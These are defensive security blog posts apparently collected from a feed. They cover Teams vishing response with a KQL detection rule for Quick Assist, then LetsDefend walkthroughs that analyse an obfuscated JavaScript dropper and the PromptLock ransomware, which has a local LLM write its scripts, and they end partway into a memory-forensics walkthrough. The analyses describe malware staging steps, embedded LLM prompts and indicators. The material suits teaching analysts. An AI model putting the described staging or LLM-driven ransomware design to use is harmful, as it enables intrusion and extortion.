What’s changed recently, and for the better, is Microsoft’s decision to let security teams participate directly through the Tenant Allow/Block List (TABL) on the Defender side.

This capability nicely complements the user reporting feature. More importantly, it gives security teams a way to act quickly when admin roles are split across functions. If your SOC sees a suspicious call artifact and needs to action on it, having to wait on a separate admin team can feel like unnecessary friction.

Block domains and addresses in Microsoft Teams using the Tenant Allow/Block List - Microsoft… _Admins can learn how to block domains and addresses in Microsoft Teams using the Tenant Allow/Block List._learn.microsoft.com

On the Teams side, the setting to block external users (like our two Adams calling from [.]onmicrosoft.com domains) lives here:

Teams Admin Center → External Collaboration → External Access → Organizational settings → Block specific users from communicating with people in my organization

Image Credit: Block domains and addresses in Microsoft Teams using the Tenant Allow/Block List — Microsoft Defender for Office 365 | Microsoft Learn

NOTE: For this to work, the Allow or block external domain option must be set to either Allow all external domains or Block only specific external domains.

Now the fun part: Traditionally, maintaining this list required a Teams admin role. To better support least privilege, Microsoft added the option to allow the security team to manage blocked users and domains directly through Defender. Enabling “Allow my security team to manage blocked domains and blocked users“hands day-to-day action to the people already doing triage.

Once that setting is flipped, security teams can manage blocked Teams senders directly from the Defender portal using the Tenant Allow/Block List, without jumping between consoles or roles. It’s not exciting, but it reduces response time, and in incidents like these, that’s important.

Pull Audit Logs to Confirm Who Else Received a Call

Going back to the stories of the two Adams, one important step after blocking the contact was figuring out who else they might have reached. Scoping impact matters, and in this case we needed to understand whether this activity stopped with a single user or if others had also been contacted.

At the time of writing, this is a bit more painful than it should be. There isn’t a relevant Advanced Hunting table available for Teams calls yet.

I emphasize yet because Microsoft recently announced in a blog post, “From Impersonation Calls to Transparent Reporting: Defending the New Front Door of Attacks"that this gap is closing. Among several updates, Microsoft highlighted that “Microsoft Defender has turned Teams calling from a blind spot into a first-class SOC signal, including the ability to investigate Teams calling activity at scale via Advanced Hunting.” Hooray!

From Impersonation Calls to Transparent Reporting: Defending the New Front Door of Attacks |… _Email is still a major entry point-but it’s no longer the only one that matters. Today’s attackers are increasingly…_techcommunity.microsoft.com

That’s a welcome change, but it didn’t help us when we actually needed to identify who else the Adams had contacted. So for this incident, and for this blog, we had to fall back to what’s available today and leverage the Unified Audit Log instead.

From a Defender perspective, this lives under:

Microsoft Defender → System → Audit

Audit log activities _Discover how to monitor and investigate activities in Microsoft 365 with the unified audit log. Search for specific…_learn.microsoft.com

To scope activity, we might structure the search using the following parameters:

Workload

MicrosoftTeams

Activities

Operation: CallParticipantDetail
Friendly name: Added information about call participants
Operation: ChatCreated
Friendly name: Created a chat

Keyword search (optional)

The attacker’s email address, often from a [.]onmicrosoft.com domain, if it was reported by the user or visible in their Teams client

So, what’s the downside with this approach? Lag.

If you’ve spent any time in the Microsoft ecosystem, this won’t be surprising. There’s a delay between when an event occurs and when it becomes searchable in the audit log. Microsoft is fairly explicit about this, noting that for core services like Teams, " # "

audit records typically become available 60 to 90 minutes after the event,” and sometimes longer.

Still, it’s better than nothing. In these cases, it helped confirm that only the original reporter and the second victim had any contact with the second Adam.

The takeaway here is simple. Knowing which logs exist, where to find them, and what their limitations are is critical when responding to an incident. Even imperfect visibility can make the difference between guessing and confidently scoping the impact.

Disable & Detect Quick Assist:

The last recommendation for this piece is to better control and monitor the remote management and support tools in your environment. I’m not going to deep-dive into RMM tooling as a whole here, since this varies a lot by organization, tooling, and maturity. That said, understanding which tools are normal and approved, which aren’t, and which are commonly abused by threat actors can go a long way toward detecting potentially malicious activity.

In this story, Quick Assist was already blocked, but it didn’t raise an alert (learning moment #1). The second RMM tool, Zoho Assist, wasn’t blocked at all (learning moment #2). That combination presented an opportunity to reassess how RMM tools were controlled overall, which directly led to successfully blocking AnyDesk during the second incident. It also highlighted something more interesting. Even a blocked tool like Quick Assist can still provide detection value and act as a kind of canary in the coal mine.

So rather than trying to solve RMM tooling holistically in this post, let’s focus on that first learning moment: Quick Assist. It’s built into Windows, frequently abused in social engineering attacks, and a good place to impose some friction.

In a Microsoft Defender for Endpoint environment, Microsoft’s own guidance recommends disabling Quick Assist by blocking its service endpoint using a URL-based indicator. Specifically, this means blocking traffic to:

https://remoteassistance.support.services.microsoft.com

Use Quick Assist to help users _Learn how IT Pros can use Quick Assist to help users._learn.microsoft.com

While this approach won’t uninstall Quick Assist (which is also a valid option), it prevents the application from establishing a session. More importantly for us, it preserves telemetry. That detection signal turned out to be really valuable compared to simply removing the tool entirely.

NOTE: “Blocking the endpoint will disrupt the functionality of Remote Help, as it relies on this endpoint for operation.”

Detection Rules

Blocking alone is helpful, but pairing it with detection gives you early warning.

After disabling Quick Assist via a Microsoft Defender for Endpoint URL block indicator, creating a custom detection can help tip you off to suspicious behavior. Sure, you might see the occasional fat-finger hotkey / accidental launch, but you might also catch the start of a vishing attack before it goes any further. That trade-off is usually worth it.

You might be wondering why not just check the Create alert option when configuring the indicator. In my experience, that doesn’t work reliably enough to depend on. Instead, creating a custom detection rule through Advanced Hunting has been far more consistent.

Create custom detection rules in Microsoft Defender XDR - Microsoft Defender XDR _Learn how to create custom detections rules based on advanced hunting queries._learn.microsoft.com

Below is a simple example query that looks for blocked connection attempts to the Quick Assist endpoint, where the initiating process contains quickassist.exe:

DeviceEvents 
| where ActionType == "ExploitGuardNetworkProtectionBlocked" 
| where RemoteUrl contains "remoteassistance.support.services.microsoft.com" 
| where InitiatingProcessCommandLine has "quickassist.exe" 
| summarize arg_max(Timestamp, *) by DeviceId 
| project Timestamp, DeviceId, ReportId, DeviceName, RemoteUrl, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, 	ActionType

Once the query is in place, you can use the Create detection rule option directly from the KQL window, fill in the required fields, and set an appropriate rule frequency. This gives you visibility into when Quick Assist is being launched (or abused) in your environment, even though the session itself never succeeds.

In my experience, the value of being tipped off to a potential vishing attempt far outweighs the small number of false positives this kind of detection generates.

Key Takeaways

Let’s wrap this up.

I’m always a little surprised by how easy it is to gain a victim’s trust with something as simple as a display name. There’s nothing particularly fancy going on here. Just “Help Desk"calling at the right moment and sounding plausible enough to gain remote access.

Looking back at the two Adams, a few things stand out.

First, maximize the tools you already have, and keep up with how they evolve. Microsoft Teams isn’t just messaging and meetings anymore. It’s an attack surface, and it’s always changing. For security operations, capabilities like user reporting, tenant-level blocking, and improved visibility into call activity didn’t meaningfully exist not that long ago. Staying current on what your platform can actually do matters, especially when attackers are happy to take advantage of whatever is least defended.

Second, training only works if users are empowered to act. In both incidents, the users weren’t reckless. They were trying to be helpful, and they were fooled. The difference the second time around wasn’t intuition, it was having a simple, familiar way to report something that felt off. If you want users to be part of the defense, make the response path easy and predictable so they don’t have to guess what to do under pressure.

Third, be honest about what didn’t go as planned and improve it. This part is important. In the first incident, Quick Assist was blocked, but silent. That wasn’t a failure, but it was a missed opportunity. Instead of ignoring it, we adjusted and turned that quiet block event into usable signal the next time around.

Finally, don’t wait for perfect detection from a single tool. No one alert told this story end to end. Some signal came from the IPS. Some came from audit logs. Some came from users. Each piece on its own was incomplete, but together it was enough to understand scope, confirm access, and respond.

That’s really the point of this whole post. Defending against these attacks is hard. You need visibility where you can get it, the knowledge to act on what you see, and a willingness to close the gaps when you stumble.

Thanks for reading!

References:

Security Operations Guide for Teams protection in Microsoft Defender for Office 365: https://learn.microsoft.com/en-us/defender-office-365/mdo-support-teams-sec-ops-guide#enable-secops-to-hunt-for-threats-and-detections-in-microsoft-teams

Microsoft Learn — User reported settings in Microsoft Teams: https://learn.microsoft.com/en-us/defender-office-365/submissions-teams#turn-off-or-turn-on-user-reporting-of-teams-messages-in-the-defender-portal

Microsoft Learn — End user reporting for Teams Calling (Preview): https://learn.microsoft.com/en-us/microsoftteams/end-user-reporting-teams-calling

Cynet — “Emerging Threat: Microsoft Teams Vishing Campaign Continues” : https://www.cynet.com/blog/emerging-threat-microsoft-teams-vishing-campaign-continues/#:~:text=The%20attacker%20contacts%20the%20targeted,to%20Office%20365%20for%20Business.

Microsoft Learn — Block domains and addresses in Microsoft Teams using the Tenant Allow/Block List: https://learn.microsoft.com/en-us/defender-office-365/tenant-allow-block-list-teams-domains-configure

From Impersonation Calls to Transparent Reporting: Defending the New Front Door of Attacks: https://techcommunity.microsoft.com/blog/microsoftdefenderforoffice365blog/from-impersonation-calls-to-transparent-reporting-defending-the-new-front-door-o/4503050

Microsoft Learn — Search the audit log: https://learn.microsoft.com/en-us/purview/audit-search#:~:text=Microsoft%20doesn’t%20guarantee%20a,commit%20to%20a%20specific%20time.

Microsoft Learn — Audit Log Activities (Teams): https://learn.microsoft.com/en-us/purview/audit-log-activities#teams-activities

Microsoft Learn — Disable Quick Assist within your organization: https://learn.microsoft.com/en-us/windows/client-management/client-tools/quick-assist#disable-quick-assist-within-your-organization

Microsoft Learn — Create custom detection rules: https://learn.microsoft.com/en-us/defender-xdr/custom-detection-rules

MITRE ATT&CK — Software — Quick Assist (S1209): https://attack.mitre.org/software/S1209/

LetsDefend — Obfuscated JavaScript Challenge Walkthrough

Sun, 12 Apr 2026 00:00:00 +0000

LetsDefend: Obfuscated JavaScript Challenge Walkthrough

Malicious JavaScript Analysis: Identifying Obfuscation, WMI Usage, and Network-Based Payload Staging

Image Credit: https://app.letsdefend.io/challenge/obfuscated-javascript

Introduction:

Welcome to my weekly walkthrough! If you’ve stumbled across this blog looking for a detailed guide to the Obfuscated JavaScript blue team challenge from LetsDefend, you’re in the right place. This one drops us right into the world of script-based malware where attackers lean on obfuscation to complicate analysis.

In this challenge, we’re stepping into the role of a cybersecurity analyst responding to reports of strange behavior across internal web applications. What initially looks like routine troubleshooting quickly turns into something more concerning when we discover that several critical JavaScript files have been aggressively obfuscated.

Our mission is fairly straightforward but tricky in practice. We need to analyze the obfuscated script, identify the techniques used to hide its behavior, and determine whether it contains malicious code. With no automated tooling and no internet access, we’re forced to rely on careful inspection, pattern matching, and a methodical approach using nothing more than the terminal and a text editor. It’s not the sexiest approach, but it works.

Along the way, we’ll uncover how the script leverages ActiveX, WMI, and network drive mapping to enumerate the host environment, stage an external payload, and clean up after itself. I’ll walk through each step, explaining not just what we find, but why it matters from a defensive perspective. The goal isn’t just to solve the challenge, but to help contextualize what we find. Let’s go!

And hey, if this walkthrough helps you level up your JavaScript analysis skills, gets you past a stumbling block, or simply gives you another angle on script-based malware, consider following along for more weekly deep dives.

Thanks for reading and going on this investigation with me!

Challenge Scenario:

Imagine you are a cybersecurity analyst at a mid-sized tech company. One morning, you receive multiple reports from employees that their web applications are behaving erratically. Upon investigation, you discover that the source code of several critical JavaScript files has been heavily obfuscated, making it difficult to understand and troubleshoot the code. This obfuscation includes the insertion of numerous misleading comments, variable renaming, and string encoding. Your task is to analyze the obfuscated JavaScript code, identify the obfuscation techniques used, and determine if any malicious code has been inserted.

Question 1: What is the name of the ActiveXObject created in the script?

Let’s kick off our investigation by extracting the sample from sample.7z. This leaves us with an appropriately named text file, sample, which contains the obfuscated JavaScript we’re going to analyze.

Overview of the challenge artifacts.

Just to get an idea of what we’re working with, go ahead and open the file in the text editor provided by the LetsDefend environment.

Overview of the sample in a text editor

Yikes, it’s a mess! Under normal circumstances, we might start this workflow by throwing the script into CyberChef or another deobfuscation tool. This time, though, we’re deliberately limiting ourselves to what’s provided in the analysis environment. So, no automated tooling and no internet access. But, what we do have is the terminal and familiar Linux utilities like grep, which can still take us surprisingly far (like the whole way).

So, instead of trying to deobfuscate everything at once, we can find our footing by looking for recognizable patterns. For Question 1, we’re specifically asked to identify the ActiveXObject created in the script. That gives us a clear string to hunt for.

We’ll start by printing the contents of the sample to the terminal, piping the output into grep, and using the -i flag to ignore case and simply searching for " # “activex_.”

cat sample | grep -i “activex”

Running this command highlights a handful of non-obfuscated lines buried in the noise. Among them, we find the following code:

new ActiveXObject(“WScript.Network”)

Terminal: Using grep to identify " # "

activeX"

This tells us that the script leverages the ActiveXObject named “WScript.Network”. From the limited context we have so far, this suggests the script might be performing basic network enumeration, such as retrieving the computer name, domain membership, or mapped network drives.

Now that we’ve found some early reconnaissance behavior, let’s dig in further to see what else we can find.

Question 2: What WMI namespace is accessed in the script?

Next, we need to identify which Windows Management Instrumentation, or WMI, namespace the script accesses. WMI namespaces are essentially logical containers that group related management classes (like components) together. Understanding which namespace is in use helps us infer what kinds of system information the script is aiming to collect.

We’ll tackle this the same way we did in Question 1 by narrowing our focus with grep. This time, instead of searching for ActiveX, we’ll key in on WMI:

cat sample | grep -i “WMI”

Terminal: Identifying the WMI namespace with grep

This output gives us a bit more to work with. Right on the first matching line, we can see evidence that the script is interacting with the root\\CIMV2 namespace.

According to Microsoft, “root\CIMV2"is the default and one of the most commonly used WMI namespaces. It exposes a broad set of system and hardware-related classes, allowing scripts to query information about things like disks, running processes, memory, operating system details, and more.

While this isn’t inherently malicious, it seems like we’ve stumbled across more potential reconnaissance activity.

Question 3: What is the initial value of the attempt variable in the script?

Moving right along to Question 3, we need to identify the initial value of the attempt variable in the script. At this point, we’re already comfortable leveraging some lightweight pattern matching, so we’ll continue leaning on the terminal and grep.

This time, we’ll broaden the search scope slightly by looking for all variable declarations. In this sample, the obfuscation conveniently leaves /var as a recurring pattern, which makes it a useful anchor for limiting our output:

cat sample | grep -i “/var”

Terminal: Identifying the attempt variable

Voila! This approach yields a small set of variables without overwhelming us with too much noise. Scanning through the output, we’ll spot the definition of the attempt variable with a value of 0, suggesting it might be used as some kind of counter or control variable later in the script.

Question 4: What function is used to enumerate network drives in the script?

We’ve got a rhythm down now. Remember back in Question 1, where we stumbled across early evidence of network reconnaissance activity tied to WScript.Network? For Question 4, we’ll pivot back to that thread and broaden our search.

This time, we’ll hunt for references to network more generally and see what turns up:

cat sample | grep -i “network”

Terminal: Identifying the network drive enumeration

The output here is a bit noisier than before, but if you scan through the results, the third returned line stands out. That’s where we see a call to the network.MapNetworkDrive function.

This lines up nice and tidy with the WScript.Network object we identified earlier. Put together, it gives us solid evidence that the script is interacting with mapped network drives. Whether it’s enumerating existing mappings, creating new ones, or abusing them for lateral movement is something we’ll need to confirm by looking at how this function is used elsewhere in the code.

Question 5: How long does the script wait (in milliseconds) after executing the net use command?

Next up, we need to determine the waiting period defined in the script after executing the net use command. At first glance, it seems reasonable to search directly for the command itself. I tried grepping for “net use"first, but as you can see, that didn’t quite get us where we needed to go.

Instead, we need to zoom out slightly and look for broader timing-related evidence. In this case, the string “starttime"turns out to be a much better anchor:

cat sample | grep -i “starttime”

Terminal: Identifying the wait time

This output reveals the delay logic implemented by the script. Based on the value assigned and how it’s used, we can see that the script waits 3000 milliseconds after executing the net use command to map a non-persistent network drive.

That’s a short pause before the script continues, giving the mapped network drive time to become available before potentially being leveraged for staging additional payloads or collecting data for exfiltration. Let’s keep going and build out more context.

Question 6: What is the MSI package used for installation in the script called?

To answer Question 6, we need to identify the MSI package referenced in the script for the next stage of execution. Since the question explicitly mentions installation, it makes more sense to search for the Windows Installer utility itself rather than hunting blindly for .msi strings.

Instead, we’ll look for msiexec, the command-line tool commonly used to install MSI packages on Windows systems:

cat sample | grep -i “msiexec.exe”

Terminal: Identifying the package through msiexec

Bingo. This immediately surfaces the relevant line in the script. From the command arguments, we can see that the installer being executed is avp.msi, and it’s being launched directly from the mapped network share we identified earlier.

This ties back nicely to our observations in Question 5. We speculated that the mapped drive could be used for malware staging, and seeing avp.msi hosted on that share gives us increased confidence though we don’t have any firm evidence that it’s malicious.

Question 7: What is the final output message if the network drive removal fails in the script?

Coming into the home stretch, the question tells us that the script attempts to remove the mapped network drive and displays a message if that operation fails.

To track this down, we can keep things simple and adjust our grep filter to look for failure-related strings:

cat sample | grep -i “fail”

Terminal: Identifying the failure message

This quickly surfaces a message associated with the network drive cleanup logic.

From this, we can infer that after the MSI payload is executed, the script attempts to disconnect the staging area. If that removal fails, a failure message is displayed. This kind of cleanup behavior is likely an effort to remove artifacts and reduce the forensic footprint.

Question 8: What function is used to check if a drive is mapped in the script?

For the last question, we’ll follow a similar approach to the previous one. The prompt tells us there’s a function in the script responsible for checking whether a network drive is mapped, so we already have a nice hint about what to look for.

Let’s gather a bit more information by grepping for keywords related to drive mappings:

cat sample | grep -i “mapped”

Terminal: Identifying the isDriveMapped function

From this, we can see that the function isDriveMapped is used to determine whether a specific drive letter is already mapped, making it easy for the rest of the script to reference and reuse that information during execution.

And that’s all she wrote. This wraps up the analysis and confirms that the script includes logic not just to map and remove network drives, but also to track their state along the way. Great job!

Conclusion:

How fun was that? A big thank you to LetsDefend for another solid challenge.

This challenge was a great reminder that you don’t need advanced reverse engineering skills to extract meaningful insight from a suspicious script. By leaning on static analysis, pattern matching, and some inference from the questions, we were able to uncover suspicious functionality in the script, including host reconnaissance, network drive staging, payload delivery, and cleanup behavior, using nothing more than a terminal and a text editor.

For me, this challenge was just as much about exposure to different kinds of malware as it was about answering the questions. Obfuscated JavaScript isn’t at the top of my skillset, but working through this scenario highlighted the value of breaking things down, following the artifacts, and letting the script tell the story.

It also feels less hypothetical than it might have a few years ago. Script-based malware is still very much alive, and it’s the sort of activity defenders continue to encounter in real web environments. Getting comfortable with these patterns, even in a lab setting, pays dividends when similar behaviors show up during incident response or threat hunting.

Thanks for your support and for partnering with me on this investigation. If this walkthrough helped you over a stumbling block, sharpened your analysis skills, or gave you a new way to approach obfuscated scripts, please give it a clap and consider following me. Your feedback keeps me motivated, and it genuinely helps me support your security journey.

Until next week’s challenge, stay curious and be safe out there.

Tools & References:

Challenge Link: https://app.letsdefend.io/challenge/obfuscated-javascript

Microsoft Learn — about_WMI: https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_wmi?view=powershell-7.6

Microsoft Learn — msiexec: https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec

LetsDefend — AI-Powered Ransomware Challenge Walkthrough

Sun, 29 Mar 2026 00:00:00 +0000

LetsDefend: AI-Powered Ransomware Challenge Walkthrough

Reverse Engineering PromptLock: Static Analysis of AI-Powered Ransomware Using Ghidra, DiE, and PeStudio

Image Credit: https://app.letsdefend.io/challenge/ai-powered-ransomware

Introduction:

Welcome to my weekly walkthrough. If you’ve stumbled across this blog while looking for a step-by-step guide to the AI-Powered Ransomware challenge from LetsDefend you’re in the right place. This week’s scenario pushes into unfamiliar territory for me, combining traditional malware analysis with local AI model abuse, and that makes it a great opportunity to slow down, ask questions, and learn together.

In this challenge, we’re tasked with analyzing PromptLock, a cross-platform ransomware sample written in Go that leverages local large language models to generate malicious scripts on the fly.

Because this is still a growth area for me, this walkthrough leans into methodical static analysis rather than a deep dive with hero-level reversing. Using tools like Ghidra, Detect It Easy (DiE), and PeStudio, we’ll pull apart the binary to answer focused questions about how PromptLock works. Along the way, there will absolutely be moments where we stumble or don’t take the most efficient path. That’s part of the learning process, and we’ll still get to the bottom of it.

The goal here isn’t just to answer the challenge questions, but to build a repeatable workflow you can apply when you encounter unfamiliar malware techniques in the real world, especially as AI starts showing up in unexpected places. If this write-up helps you learn more about static analysis, local AI abuse, or simply gets you past a stumbling block of your own, I’m glad to help. Let’s go!

Challenge Scenario:

You are tasked with analyzing PromptLock, the first AI-powered ransomware. This malware is written in Go and leverages local AI models to generate malicious scripts on-the-fly. PromptLock can generate scripts from hard-coded prompts to enumerate the local filesystem, inspect target files, exfiltrate selected data, and perform encryption. These scripts are cross-platform compatible, functioning on Windows, Linux and macOS.

Question 1: What programming language do the malicious scripts generated by PromptLock use?

Let’s kick off this investigation by extracting the challenge file, promptlock.zip. That leaves us with a single executable:

e24fe0dd0bf8d3943d9c4282f172746af6b0787539b371e6626bdb86605ccd70.exe

To start the analysis, we turn to Detect It Easy (DiE). Detect It Easy is a popular file identification tool that’s especially useful early in a reverse engineering workflow. It can help identify compilers, metadata, and it also gives us access to plaintext strings that might expose clues about how the malware operates.

Conveniently, Detect It Easy is already installed on the LetsDefend VM under the Tools folder. Once opened, select the PromptLock binary using the File name selector to start the analysis.

Detect It Easy: Selecting the Strings View

Clicking the Strings button lets us inspect human-readable data embedded in the binary. This is a smart starting point for a cursory review, especially when we’re trying to understand high-level capabilities without diving straight into disassembly.

Since this is an introductory reverse-engineering challenge and I’m very much a beginner, let’s lean on the provided hint for a jump start.

Perfect! That hint nudges us toward something visible in the strings output, so let’s search for “code generator"using DiE’s strings filter.

Detect It Easy: Searching strings and pasting into Notepad++

The search returns a single match, but the raw output is hard to read in DiE. Right-click the entry, copy the string, and paste it into Notepad++ or another text editor of your choice. Cleaning up the formatting makes the content much easier to understand.

The prompt embedded in the binary instructs the LLM to behave as a Lua code generator. That tells us the malicious scripts generated by PromptLock are written in Lua, which answers Question 1.

Lua is lightweight, embeddable, and commonly used as a scripting language, which makes it a good choice for generating malicious scripts. Nice find!

Question 2: What role is assigned to the LLM for analyze sensitive files and assess cyberphysical threats?

We can approach Question 2 the same way we did in the previous question. This time, we’re looking for strings that describe a role assigned to the LLM through the embedded prompt.

One keyword from the question stands out immediately: cyberphysical. It’s weird and likely to appear verbatim in the prompt text. That makes it a good candidate for a strings search. Let’s try it.

Detect It Easy: Searching strings and pasting into Notepad++

Bingo! That keyword leads us directly to an associated prompt. As before, right-click the matching string, copy it, and paste it into Notepad++ or another text editor to make it easier to read.

Once the formatting is cleaned up, the context is clear. The prompt explicitly instructs the LLM to take on the role of a cybersecurity expert for responding to requests. Assigning a role this way is a common prompt-engineering technique, intended to guide the model toward more context-relevant output.

Question 3: What Go version was used to build the PromptLock ransomware?

Let’s see if we can continue using Detect It Easy (DiE) and its Strings view to identify the Go version used to build the PromptLock ransomware.

To do that, we first need a rough understanding of how Go versioning works. According to Wikipedia, “Go uses a_ _go1.[major].[patch]_ versioning format, such as _go1.26.0." This is a helpful tip and suggests we can search for the string go1 in the binary to identify development artifacts.

With that in mind, let’s search for go1 using DiE’s strings filter.

Detect It Easy: Finding the Go version string

There are a bunch of hits for go1, which isn’t too surprising. But, scanning through the results, one entry stands out, because it closely matches the expected go1.X format used for version identifiers.

That string indicates the specific Go version (_go1.24.5_) used to compile the binary, giving us the answer to Question 3.

Question 4: Which AI model does PromptLock use locally via the Ollama API to generate malicious scripts?

To answer Question 4, we need to crank up the difficulty slightly. This time, there wasn’t an obvious or relevant string in Detect It Easy’s Strings view that pointed directly to the AI model used by the malware.

That’s our cue to shuffle the approach.

For this task, let’s move over to Ghidra, the popular open-source reverse engineering tool. From the Tools folder, launch it by running ghidraRun.bat, step through the setup prompts, and allow Ghidra to analyze the PromptLock binary. Once analysis completes, Ghidra asks whether we want to jump straight to the main.main function, which is almost always a solid jumping-off point.

With main.main open, focus on the Decompiler window on the right. Scrolling through the variables and references, we’ll stumble across a call to main.model appearing on line 244. That sounds promising…

Go ahead and click main.model to jump to its definition in the central, listing window.

Ghidra: Identifying the AI model from the main.model function

Here we find a string value assigned to main.model.str: gpt-oss:20b.

This tells us which AI model PromptLock is configured to use locally through Ollama: gpt-oss:20b. This is an OpenAI-released**,** open-weight language model designed for running locally. That makes it a good fit for this scenario, as PromptLock seems to generate malicious scripts entirely on-host without relying on external connectivity or credentials.

Question 5: What is the hardcoded IP address that PromptLock connects to?

To answer Question 5, we need to identify a hard-coded IP address embedded in the PromptLock binary. While there are a few different ways to approach this using the tools we’ve already touched, let’s pivot and get some hands-on time with another option: pestudio.

pestudio is a fantastic static malware analysis tool that can surface a wide range of useful indicators quickly and with very little setup. It’s especially good at identifying things like IP addresses, URLs, and suspicious strings without requiring deep reverse engineering. Conveniently, this tool is also already included on the LetsDefend VM, so let’s take advantage of that.

Open pestudio and load the PromptLock executable. After a short analysis period, the panels on the left begin to populate. The section we’re interested in first is Indicators at the top.

pestudio: Uncovering a hardcoded IP address

This gives us a fast way to surface potential network indicators that we can later pivot on using threat intelligence or additional dynamic analysis. In this case, the URL pattern detected by pestudio resolves to the hardcoded IP address we’re looking for: 172[.]42[.]0[.]253.

Question 6: Which encryption algorithm does the PromptLock ransomware use for file encryption?

To answer Question 6, let’s jump back to Detect It Easy and take the path of least resistance by searching for a string related to encryption functionality.

A good starting point here is searching for the string "encrypt". That returns a large number of results, which isn’t surprising for a ransomware sample. Fortunately, near the top of the list, there’s something immediately conspicuous: a prompt instruction that explicitly references the SPECK 128-bit encryption algorithm. You might even notice a small spoiler for Question 8 hiding nearby.

Detect It Easy: Locating the ransomware encryption algorithm string

That string gives us what we need to answer Question 6. PromptLock uses SPECK 128-bit for encryption.

The use of SPECK seems consistent with how this malware approaches its overall design. According to Wikipedia, SPECK is a " # “family of lightweight block ciphers”, making it practical for ransomware that prioritizes cross-platform portability and low overhead.

Question 7: What is the Bitcoin address embedded in the binary?

To answer Question 7, we can take a straightforward approach by adjusting our search of the embedded strings for "bitcoin".

Detect It Easy: Discovering the attacker’s Bitcoin wallet address

It’s a quick payoff. Take a look at the first entry and copy it and paste it into a text editor for easier reading. From there, we’ll find that the prompt instructs the LLM to include a specific Bitcoin address in the generated ransom note. Nice!

Question 8: What is the file name contains the list of files to encrypt?

We’ve made it to the last question. Remember back in Question 7 when I mentioned you might have spotted a spoiler for what was coming next?

If we look closely at the strings output again, specifically at line 11359, right below the one we used to answer Question 7, we’ll find another useful instruction. This time, the prompt references a file named target_file_list.log.

The instructions indicate that this file is used to identify the encryption targets, telling PromptLock which files it should encrypt. That makes target_file_list.log the answer to Question 8.

Detect It Easy: Finding the target list file name string

This is a particularly valuable piece of evidence from a defensive perspective. Knowing the file name that contains the list of targets could help us better understand the scope of impact on a victim device, recover during an investigation, and build more precise detections.

Conclusion:

How fun was that! A big thank you to LetsDefend for another great challenge that pushed me into some new territory.

This one was a good reminder that even with beginner-level reverse engineering skills, you can still extract a surprising amount of meaningful information from a malware sample. By leaning on static analysis techniques and using the right tools at the right time, we were able to uncover AI model usage, encryption choices, network indicators, and attacker intent without needing to be a reversing wizard. That’s encouraging, especially if you’re earlier in your journey or hesitant to dive into malware analysis.

For me, this challenge was as much about building confidence as it was about answering questions. Static analysis isn’t always flashy, but it’s incredibly powerful, and working through PromptLock reinforced the value of slowing down, reading carefully, and following the evidence where it leads. There were moments where I stumbled or took a less-than-ideal path, but each of those course corrections helped reinforce the process and make the lessons stick.

It also feels like scenarios like this aren’t just theoretical. As AI becomes more accessible and more normalized, it’s not hard to imagine malware authors experimenting with similar designs. Getting comfortable with the terminology, tooling, and patterns now feels like a smart way to stay ahead of the curve, even if the analysis feels a little weird at first.

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

Challenge Link: https://app.letsdefend.io/challenge/ai-powered-ransomware

Detect It Easy: https://github.com/horsicq/Detect-It-Easy

Notepad++: https://notepad-plus-plus.org/

Wikipedia — Go (Programming Language): https://en.wikipedia.org/wiki/Go_(programming_language)

Ghidra: https://github.com/nationalsecurityagency/ghidra

pestudio: https://www.winitor.com/

Wikipedia — Speck (cipher): https://en.wikipedia.org/wiki/Speck_(cipher)

LetsDefend — MemLoot Challenge Walkthrough

Sun, 22 Mar 2026 00:00:00 +0000

LetsDefend — MemLoot Challenge Walkthrough

Windows Memory Forensics with Volatility 3: Ransomware Detection, Process Analysis, and Network Artifact Discovery.

Image Credit: https://app.letsdefend.io/challenge/memloot

Introduction:

Welcome to my weekly walkthrough! If you’ve stumbled across this blog while looking for a detailed guide to the MemLoot blue team challenge from LetsDefend, you’re in the right place. This one goes all in on memory analysis, where volatile artifacts living in RAM can tell a story even when disk evidence is long gone.

For this challenge, we’re putting on our incident response hats and investigating a ransomware alert on a newly provisioned workstation. After some scary activity was detected, including file encryption and a ransom note, the system was isolated from the network. The user reported downloading and installing what they believed was legitimate software shortly before everything went off the rails. Our mission is to validate that story and figure out exactly what happened.

Fortunately, we’re provided with a memory dump from the affected system, which gives us everything we need to begin reconstructing the attack. Using Volatility 3, we’ll analyze running processes, identify file paths, uncover network artifacts, and reveal the ransomware’s behavior directly from memory. Along the way, we’ll correlate process trees, execution timestamps, encrypted file indicators, and outbound connections to build a clear picture of what went down.

I’ll walk you through each stage, explaining what we’re doing so you can develop your own workflow for approaching similar incidents in the real world. By the end, you’ll have a solid sense of how to use Volatility to pivot from suspicious executables to network infrastructure and confidently piece together an attack chain hiding inside RAM. Let’s go!

Thanks for reading and going on this investigation with me!

Challenge Scenario:

We are reporting a ransomware attack on a workstation belonging to a new employee.

The machine was isolated from the network after unusual activity was detected, including file encryption and the appearance of a ransom note.

The employee mentioned that they had recently downloaded and installed software, believing it to be a legitimate application. Shortly after, critical files became inaccessible, and a ransom message appeared.

We are providing you with a memory dump to help identify the cause of the ransomware infection and determine how the attack was executed

Question 1: Identify the suspicious executable running in memory.

Let’s kick off this investigation by opening the ChallengeFile folder, which contains the artifact we’ll be examining: MemLoot.vmem.

Overview of the challenge artifacts

You might be asking yourself what a .vmem file actually is and how we’re supposed to read it. That’s exactly the point of this challenge. A .vmem file is a virtual memory dump from a VMware virtual machine, capturing a snapshot of its virtual RAM at a specific point in time. Memory images like this are rich forensic artifacts that let us dig into evidence such as running processes, loaded modules, injected code, and even fragments of network activity.

To explore the memory image, we’ll use Volatility 3, the modern version of the popular memory forensics framework described as “the world’s most widely used framework for extracting digital artifacts from volatile memory (RAM) samples.“I’ll refer to it simply as Volatility from this point forward. This tool is already installed on the LetsDefend virtual machine, so we’re good to go.

To get started, open Volatility from the pinned shortcut on the taskbar.

Launching Volatility

Once it’s open, a quick pro tip if you’re still getting comfortable with Volatility is to review the built-in help, which lists supported plugins and usage details:

vol -h

Looking back at our objective for Question 1, we need to identify a suspicious executable running on the compromised host. From Volatility’s help output, we can see that the windows.pslist plugin is a solid starting point. It enumerates processes that were active in memory at the time the snapshot was captured.

Let’s give it a try:

vol -f .\MemLoot.vmem windows.pslist

Volatility: Identifying the suspicious executable

Once the output loads, we can start examining the process list. Depending on your familiarity with Windows internals, some process names will look immediately normal, while others may feel just a bit off. If you ever stumble here, a reliable reference is the SANS Hunt Evil cheat sheet, which helps quickly distinguish expected Windows process from anomalous ones.

